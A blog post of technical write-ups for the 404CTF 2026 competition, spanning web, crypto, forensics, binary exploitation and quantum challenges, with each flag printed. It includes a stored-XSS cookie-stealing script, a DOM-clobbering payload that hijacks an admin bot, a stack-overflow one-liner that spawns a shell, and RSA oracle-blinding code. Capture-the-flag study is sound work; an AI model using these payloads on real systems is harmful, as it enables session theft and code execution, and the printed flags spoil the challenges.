Writeup IA 404CTF 2026

Technical breakdown of each solved challenge – sorted by category

→ Retrospective / discussion: 

404CTF 2026 – Technical Write-ups




Web Security

Wall Of Patents – 489pts 🩸

Category: Web | Difficulty: Medium | First Blood

Analysis. Web challenge solved early in the session. First blood confirmed by the organizers on Discord.

Flag: not documented in detail.






Télégraphe Détourné – 500pts 🩸

Category: Web  |  Difficulty: Easy  |  First Blood

This challenge was solved manually – recon, identifying the XSS, and building the payload were all done by hand.

Recon. The site exposes three interesting endpoints: GET /api/init_csrf which sets the session and CSRF cookies, POST /post_comment to post a comment, and GET /visit which triggers an admin bot. A GET /flag exists but returns 403 for non-admins.

Vulnerability. Comments are rendered into the page without any HTML sanitization. A simple <b>test</b> shows up in bold: stored XSS confirmed.

Exploitation. The admin bot visits the home page when /visit is triggered. The XSS payload must first call /api/init_csrf to obtain a valid CSRF cookie before it can post another comment. We exfiltrate the admin browser’s document.cookie by reposting it into the comments:

<script>
fetch('/api/init_csrf').then(() =>
  fetch('/post_comment', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'comment=' + encodeURIComponent('COOKIE:' + document.cookie)
  })
)
</script>

After triggering /visit and reloading the page, the admin cookie shows up in the comments:

COOKIE:flag=404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}; csrf_token=...

The flag was stored directly in a flag cookie of the admin browser.

Flag: 404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}






The Scientist’s Footprint -500pts

Category: Web  |  Difficulty: Easy

Architecture. A social site for scientists: registration, editable biography, Marie Curie quiz, mailbox. A Puppeteer bot logs in as admin and sequentially visits every profile (/visit/:id), clicking the « Next » button on each profile.

Source code analysis. Several key elements:

  • routes/dashboard.js – the biography is sanitized by DOMPurify with SANITIZE_DOM: false, allowing the tags form, input, a, p, div with the attributes name, href, value, class, type, id
  • public/js/visit.js – for the admin, the code reads window.adminConfig?.endpoint to determine the POST URL when clicking #next
  • routes/admin.jsPOST /api/admin/boost increments a user’s quiz score (admin-only)
  • utils/getFlag.js – every 10 seconds, checks whether a user has a score ≥ 10 on the quiz, and sends them the flag in their mailbox

Vulnerability. SANITIZE_DOM: false in DOMPurify allows DOM Clobbering. The biography is inserted via innerHTML, which makes it possible to create DOM elements that overwrite properties of window.

Exploitation. We inject into the biography:

<a id="adminConfig" href="x"></a>
<a id="adminConfig" name="endpoint" href="/api/admin/boost"></a>
<a id="next" href="#">next</a>

How it works:

  • Two <a> elements with the same id="adminConfig" create an HTMLCollection accessible via window.adminConfig
  • Accessing .endpoint on an HTMLCollection uses namedItem("endpoint"), which returns the anchor with name="endpoint"
  • fetch(anchorElement) calls toString() on the anchor, which returns its absolute href/api/admin/boost
  • The fake <a id="next"> is crucial: document.getElementById('next') returns the first element with that id in DOM order. Since the bio is rendered before the real button, the admin handler attaches to our anchor, avoiding the race condition with the real button’s navigation handler

Optimization. The required score is 10. The bot boosts by +1 per pass (~15-20s per cycle). To speed things up, we answer the Marie Curie quiz 5/5 (Poland, Physics and Chemistry, Radioactivity, Polonium, By designing radiological cars), which gives a score of 5 immediately. All that’s left is to wait for 5 bot passes.

Caution: GET /api/quiz/marie-curie calls startQuiz(), which resets the score to 0 before asking the questions. You have to make sure the net gain (5 points from the quiz – reset to 0) is positive relative to the current score.

At score ≥ 10, getFlag.js sends the flag to the mailbox.

Flag: 404CTF{d1d_y0u_r3al1y_r3ach_th4t_sC0r3?}






Cryptanalysis

Dur à CERNer -100pts

Category: Crypto  |  Difficulty: Intro

Analysis. The Python script asks for two hexadecimal strings, converts them to bytes via bytes.fromhex(), computes their SHA-256, and checks that the hashes are identical. The two strings must be different.

Vulnerability. bytes.fromhex() in Python is case-insensitive: "0a" and "0A" are different strings but produce the same bytes b'\x0a'. Their SHA-256 hashes are therefore identical.

$ nc challenge.404ctf.fr 10007
Position de la première particule : 0a
Position de la deuxième particule : 0A
Bien joué !

Flag: 404CTF{P4rt1cl35_g0_brrrrrrrrr!}






Déjeuner à l’ANSSI -473pts

Category: Crypto  |  Difficulty: Easy

Analysis. The server generates a 2048-bit RSA key, encrypts the flag with it, then offers a decryption oracle: you can submit a ciphertext and get back the plaintext. The only restriction: if the decryption result contains the flag, the server refuses to display it.

Attack. Classic RSA blinding. We exploit RSA’s multiplicative property: Dec(ct × r^e mod n) = Dec(ct) × r mod n = flag × r mod n.

By choosing r = 2:

  1. We compute blinded_ct = ct × 2^e mod n
  2. The server decrypts: result = 2 × flag mod n
  3. The result does not contain the raw flag → the server displays it
  4. We recover the flag: flag = result × modinv(2, n) mod n
from Crypto.Util.number import inverse
blinded_ct = (ct * pow(2, e, n)) % n
# server returns result
flag = (result * inverse(2, n)) % n

Flag: 404CTF{Luncht1m3_4tt4ck_b35t_4tt4ck}






2B or not to be -497pts

Category: Crypto  |  Difficulty: Medium

Analysis. The flag is XORed with a 128-bit key. The key satisfies 5 constraints:

  • E1: the sum of each group of 4 consecutive bits (indices 4i to 4i+3) is odd
  • E2: for i ∈ [0, n/4[, if k[i] ≠ k[4i] then k[2i+2] = 1
  • E3: no 3 identical consecutive bits
  • E4: the sum of each sliding window of 8 bits equals exactly 4
  • E5: anti-palindrome –k[i] ⊕ k[127-i] = 1 for all i ∈ [0, 64[

Solution. The 5 constraints are encoded as logical formulas in the Z3 SAT solver with 128 boolean variables. E5 halves the search space (the last 64 bits are determined by the first 64). The first satisfying solution, XORed with the ciphertext, directly yields the flag.

from z3 import *
k = [Bool(f'k{i}') for i in range(128)]
s = Solver()
# E5: anti-palindrome
for i in range(64):
    s.add(k[i] != k[127-i])
# E1: parité impaire par groupes de 4
for i in range(0, 128, 4):
    s.add((If(k[i],1,0)+If(k[i+1],1,0)+If(k[i+2],1,0)+If(k[i+3],1,0)) % 2 == 1)
# E3: pas 3 identiques consécutifs
for i in range(126):
    s.add(Not(And(k[i]==k[i+1], k[i+1]==k[i+2])))
# E4: somme=4 par fenêtre de 8
for i in range(121):
    s.add(sum([If(k[i+j],1,0) for j in range(8)]) == 4)
# E2: implication conditionnelle
for i in range(32):
    if 4*i < 128 and 2*i+2 < 128:
        s.add(Implies(k[i] != k[4*i], k[2*i+2] == True))

s.check()  # sat
# extract bits, XOR with ciphertext

Flag: 404CTF{S0mEt1Me$_2_mUC4_1s_70O_MuCh}






Le Tour de RSA en quatre-vingts seize jours -500pts 🩸

Category: Crypto  |  Difficulty: Medium

Analysis. 6 RSA encryptions with a public exponent e = 96. The moduli are generated in pairs sharing a common prime factor.

Solution.

  1. Factorization via GCD – we compute gcd(n_i, n_j) for every pair of moduli. When two moduli share a prime factor p, the GCD reveals it directly
  2. Handling e=96 – since e = 96 is not prime, gcd(e, φ(n)) can be > 1, which means the usual modular inverse does not exist. We have to compute the partial e-th roots per prime factor, enumerating the multiple solutions
  3. CRT (Chinese Remainder Theorem) – we reconstruct the full message from the partial residues per prime factor

Flag: 404CTF{96_jours_cest_vraiment_trop_long_et_surtout_pas_premier}






Too big or too small -500pts 🩸

Category: Crypto  |  Difficulty: Medium

Analysis. A crypto challenge whose vulnerability relies on a poorly sized parameter – too large or too small depending on the context – which lets you break the encryption scheme. Identifying the vulnerable parameter was guided by the RAG, which surfaced similar patterns from the write-ups knowledge base.

Flag: 404CTF{uN_c3rvEau_v4ut_M!lL3_c4rTe5_GraPhIqU3S}






Forensic Analysis

Exfiltration Kantik [1/3] -495pts

Category: Forensics  |  Difficulty: Easy

Analysis. A PCAP of a complete network attack. We have to identify 5 elements: attacker IP, victim IP, Apache version, exploited CVE, reverse shell port.

Steps:

  • Port scan192.168.122.133 performs a SYN scan against 192.168.122.177 (ports 21, 23, 80, 110, 143, 3389, 8080, etc.)
  • Apache identification – the HTTP header Server: Apache/2.4.66 (Debian) is visible in the responses
  • Telnet session – a long Telnet session between the attacker and the victim shows the sequence USER=-f root followed by immediate root shell access with no password → CVE-2026-24061, authentication bypass in GNU Inetutils telnetd via argument injection in the USER environment variable
  • Post-exploitation – the attacker checks uname - a, whoami, installs a cron persistence, drops an SSH key, and sets up a reverse shell to 192.168.122.133:4444

Flag: 404CTF{192.168.122.133_192.168.122.177_2.4.66_CVE-2026-24061_4444}






Extraction d’ADNs -496pts

Category: Forensics  |  Difficulty: Easy

Analysis. The title « ADNs » is a pun on DNS (ADN = DNA in French). The PCAP contains 52 DNS queries to typosquatted domains:

  • goog1e.com (12 queries)
  • y0utube.com (20 queries)
  • faceb00k.com (4 queries)
  • inst4gram.com (8 queries)
  • vida1.fr (8 queries)

Solution. The subdomains contain the exfiltrated data. We extract the unique queries in order with scapy, strip the www. prefix and the base domain, concatenate the 26 remaining subdomains (509 characters), and decode as base32:

from scapy.all import rdpcap
import base64

pcap = rdpcap("challenge.pcap")
# Extract unique DNS queries in order
# Strip www. and fake domain suffixes
# Concatenate subdomains
decoded = base64.b32decode(concat.upper() + padding)
# Result: RIFF...WEBP lossless image (318 bytes)

The decoded file is a 318-byte lossless WEBP showing the flag as text.

Flag: 404CTF{CL4UD3_B3RN4RD_G0T_PWNED}!






Curieux SMS -496pts

Category: Forensics  |  Difficulty: Easy

Analysis. The archive contains 3 folders representing 3 seized phones. Each has a SQLite database mmssms.db with different schemas (stock Android, Google Messages, MMS).

Solution. The flag is split across the 3 phones, in different locations for each one:

PhoneLocationFragment
Phone 1Table sms, last message404CTF{m4r13_
Phone 2Table conversations, name fieldcur13_
Phone 3MMS image app_parts/62 (JPEG) + PDU subjectr4d1um_ + 1898}

Phone 3 requires inspecting the part table to find the JPEG file (mid=62), then viewing it. The image displays r4d1um_. The MMS subject in the pdu table contains 1898}.

Flag: 404CTF{m4r13_cur13_r4d1um_1898}






Binary Exploitation

Le bon ingrédient – 100pts

Category: Pwn  |  Difficulty: Intro

This challenge was solved manually – reading the source, disassembling with objdump, building the payload, and exploiting via netcat.

Analysis. The source code main.c shows a classic buffer overflow:

int var;
int ingredient = 0x00000042;
char reponse[48];
fgets(reponse, 128, stdin);  // lit 127 bytes dans un buffer de 48

if (ingredient == 0x84168802) {
    system("/bin/sh");
}

Exploitation. Disassembling main reveals the positions on the stack:

  • reponse at rbp-0x40
  • ingredient at rbp-0x4
  • Offset = 0x40 - 0x4 = 60 bytes

Note: the first attempt with an offset of 52 (48 bytes of buffer + 4 bytes of var) failed. You have to trust the disassembly, not the C declaration – the compiler can rearrange the variables on the stack.

python3 - c "import struct,sys; sys.stdout.buffer.write(
    b'A'*60 + struct.pack('<I', 0x84168802) + b'\ncat flag.txt\n'
)" | nc spawn.404ctf.fr 10303

Flag: 404CTF{P0l0N1UM&R4D1UM}






Miscellaneous

5 Ronisés -100pts

Category: Miscellaneous  |  Difficulty: Intro

Analysis. The server calls seed(int(time())) then generates a « super secret number » via 1024 multiplications of 8×8 matrices modulo 2^64, XOR of all elements, and SHA-256 of the result. The player has to guess this number.

Vulnerability. The seed is int(time()) – the Unix timestamp at the moment of connection. The generator is therefore fully deterministic if you know the timestamp.

Exploitation. The generation takes ~5 seconds (1024 matrix multiplications). We precompute the results for timestamps t through t+5 before connecting, then test each value on a fresh connection:

t_now = int(time.time())
secrets = {}
for t in range(t_now, t_now + 6):
    secrets[t] = genere_nombre_super_secret(8, t)

# Connect and send each until match

Flag: 404CTF{J0l1_T1m1ng!}






Super enQuête Libre [1/4] – 100pts

Category: Miscellaneous  |  Difficulty: Intro

This challenge was solved manually – the SQL queries were written and run by hand through the interactive shell.

Prompt. An interactive SQL shell (SQLite). « Determine which badge Noel Laurent is currently using. »

Trap. « Noel Laurent » is not first_name=Noel, last_name=Laurent. It’s first_name=Laurent, last_name=Noel (person_id=38). He owns two badges: 56 (inactive) and 165 (active).

SELECT b.badge_id FROM Badge b
JOIN Person p ON b.person_id = p.person_id
WHERE p.first_name = 'Laurent' AND p.last_name = 'Noel' AND b.active = 1;
-- Résultat : 165

Flag: 404CTF{165}






Super enQuête Libre [2/4] – 488pts

Category: Miscellaneous  |  Difficulty: Medium

This challenge was solved manually – the SQL query was written by hand.

Prompt. « Identify the last person to have visited 4 different rooms on the same day. »

Solution. A GROUP BY on the (person, date) pair with a HAVING on the number of distinct rooms, sorted by descending date:

SELECT p.first_name, p.last_name, a.date,
       COUNT(DISTINCT a.room_id) as rooms
FROM AccessLog a
JOIN Badge b ON a.badge_id = b.badge_id
JOIN Person p ON b.person_id = p.person_id
GROUP BY b.person_id, a.date
HAVING rooms >= 4
ORDER BY a.date DESC LIMIT 1;

-- Résultat : Noémie Robert, 2026-05-04

Flag: 404CTF{noémie_robert}






Hardware Security

chifoumi -100pts

Category: Hardware Security  |  Difficulty: Intro

Analysis. A 2-second mono 44100 Hz WAV file. The title references Fourier and liquid crystals (displays). FFT analysis reveals 7 dominant frequencies spaced 500 Hz apart: 1500, 2000, 2500, 3000, 3500, 4000, 4500 Hz.

Decoding. 7 frequencies = 7 bits = 1 ASCII character per time window. We split the signal into 20 equal windows (88200 samples / 20 = 4410 samples per window). For each window, we run an FFT and determine the presence (1) or absence (0) of each frequency by comparing the magnitude to a threshold:

freqs = [1500, 2000, 2500, 3000, 3500, 4000, 4500]
for each window:
    fft = np.fft.fft(segment)
    bits = [1 if magnitude[freq_bin] > threshold else 0 for f in freqs]
    char = chr(int(''.join(map(str, bits)), 2))

20 windows give 20 characters: the complete flag.

Flag: 404CTF{V!v3_F0ur!3r}






Quantum

Le nouveau de Broglie !? -100pts 🩸

Category: Quantum  |  Difficulty: Intro  |  First Blood

Analysis. An introductory Qiskit Jupyter notebook. Two circuits to build and submit via an API.

Circuit 1: a measurement yielding Pr(0) = 33%, Pr(1) = 66%.

An RY(θ) gate applied to |0⟩ gives cos(θ/2)|0⟩ + sin(θ/2)|1⟩. We want sin²(θ/2) = 2/3, so θ = 2·arcsin(√(2/3)).

Circuit 2: prepare the state |ψ⟩ = 1/2|0⟩ + (√3/2)·e^(iπ/3)|1⟩.

The universal gate U(θ, φ, λ) gives cos(θ/2)|0⟩ + e^(iφ)·sin(θ/2)|1⟩. We want cos(θ/2) = 1/2θ = 2π/3, and φ = π/3 for the phase. So U(2π/3, π/3, 0).

Trap: the server only accepts QPY exports in version 13. Qiskit 2.x generates more recent versions by default. You have to force qpy.dump(circ, buf, version=13).

q1 = Circuit(1); q1.ry(2*asin(sqrt(2/3)), 0)
q2 = Circuit(1); q2.u(2*pi/3, pi/3, 0, 0)

buf = io.BytesIO()
qpy.dump(circ, buf, version=13)  # version 13 obligatoire
b64 = base64.b64encode(buf.getvalue()).decode()

Flag: 404CTF{f82aed2b3ab783dc3b29714e532fedf4001592b89005671310cacf9db1c65dcc}






J’optimise le porte à portes -500pts 🩸

Category: Quantum  |  Difficulty: Medium

Analysis. An existing circuit applies Hadamard gates on the 2 qubits (initial state |++⟩). We have to build a pre-circuit to place upstream so that the output state is 1/2|00⟩ + (√3/2)|11⟩.

Solution. We need to find the state which, after applying H⊗H, gives the target state. We compute (H⊗H)^† × |target⟩ and decompose it into elementary gates:

  1. RY(π/6) on q0
  2. RY(-π/2) on q1
  3. CNOT(0 → 1)

Fidelity of 1.0 with the target state. Submitted as QPY version 13.

Flag: 404CTF{721689f531e0a3f4bd129a49bbfc754b6b7f7f041672cdd1e45890b72d7e77e9}






Open Source Intelligence

Metro OSINT Dodo -500pts

Category: OSINT  |  Difficulty: Medium

Analysis. An open source intelligence challenge tied to the transit network. Solving it involved geographic research and correlating public information.

Flag: not documented in detail – the challenge was solved while I was focused on other targets.






21 challenges. 7036 pts. #1. 6 first bloods. gg.


Publié

dans

par

Étiquettes :

Commentaires

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *